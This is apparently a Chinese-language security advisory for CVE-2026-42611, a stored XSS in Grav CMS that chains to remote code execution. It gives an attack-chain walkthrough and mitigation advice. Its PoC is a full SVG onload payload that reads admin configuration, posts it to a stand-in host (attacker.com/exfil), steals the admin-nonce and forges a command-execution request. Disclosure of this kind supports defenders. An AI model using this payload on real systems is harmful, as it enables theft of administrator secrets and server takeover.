IPBUF安全漏洞报告
English
CVE-2026-42611 CVSS 8.9 高危

CVE-2026-42611 Grav CMS存储型XSS致RCE漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42611
漏洞类型
存储型XSS
CVSS评分
8.9 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Grav CMS

相关标签

XSSRCEGravCVE-2026-42611SVG InjectionPrivilege Escalation

漏洞概述

Grav CMS在2.0.0-beta.2之前的版本中存在安全漏洞。低权限用户可以通过注入恶意SVG元素触发存储型XSS。当超级管理员访问被篡改的页面时,攻击者可利用该漏洞窃取系统配置信息,并结合admin-nonce进一步实施远程代码执行(RCE),完全控制服务器。

技术细节

该漏洞的核心在于Grav CMS对用户提交的SVG内容过滤不足。攻击者利用具备页面创建权限的低权限账号,在页面内容中嵌入包含JavaScript代码的恶意SVG标签。由于系统未正确处理SVG内的脚本,导致恶意载荷被持久化存储。一旦超级管理员访问该页面,恶意脚本便在管理员浏览器会话中执行。攻击者通过脚本请求`/admin/config/info`接口获取系统敏感信息,并窃取用于身份验证的`admin-nonce`。随后,攻击者利用窃取的nonce伪造管理员请求,执行系统命令或写入恶意文件,从而实现从客户端XSS攻击升级为服务器端RCE的完整攻击链。

攻击链分析

STEP 1
1. 恶意注入
攻击者利用低权限账号在Grav CMS中创建新页面,并在内容中注入包含恶意JavaScript代码的SVG元素。
STEP 2
2. 触发漏洞
等待或诱导超级管理员访问受感染的页面。当管理员加载页面时,SVG中的onload事件触发,执行恶意脚本。
STEP 3
3. 信息窃取
恶意脚本在管理员浏览器上下文中运行,请求`/admin/config/info`接口获取系统敏感信息,并窃取`admin-nonce`令牌。
STEP 4
4. 权限提升与RCE
攻击者利用窃取的`admin-nonce`伪造合法的管理员API请求,执行系统命令,从而获得服务器的完全控制权(RCE)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG payload to be injected into a page content --> <svg xmlns="http://www.w3.org/2000/svg" onload=" // Step 1: Fetch system configuration information fetch('/admin/config/info') .then(response => response.json()) .then(data => { // Step 2: Exfiltrate data to attacker's controlled server // Note: In a real attack, replace 'attacker.com' with actual endpoint fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(data) }); // Step 3: Extract admin-nonce from the response or DOM // (Implementation depends on specific Grav response structure) const nonce = data.nonce || document.querySelector('input[name="admin-nonce"]').value; if (nonce) { // Step 4: Chain with admin-nonce to perform RCE // Example: Triggering a task that executes a command fetch('/admin/tools/task', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' }, body: `admin-nonce=${nonce}&task=command&cmd=whoami` }); } }); "> <text>XSS Trigger</text> </svg>

影响范围

Grav < 2.0.0-beta.2

防御指南

临时缓解措施
建议立即将Grav CMS升级到最新版本以修复此漏洞。如果暂时无法升级,应严格限制用户创建页面的权限,并对SVG文件上传进行严格的过滤和清洗,防止恶意脚本注入。

参考链接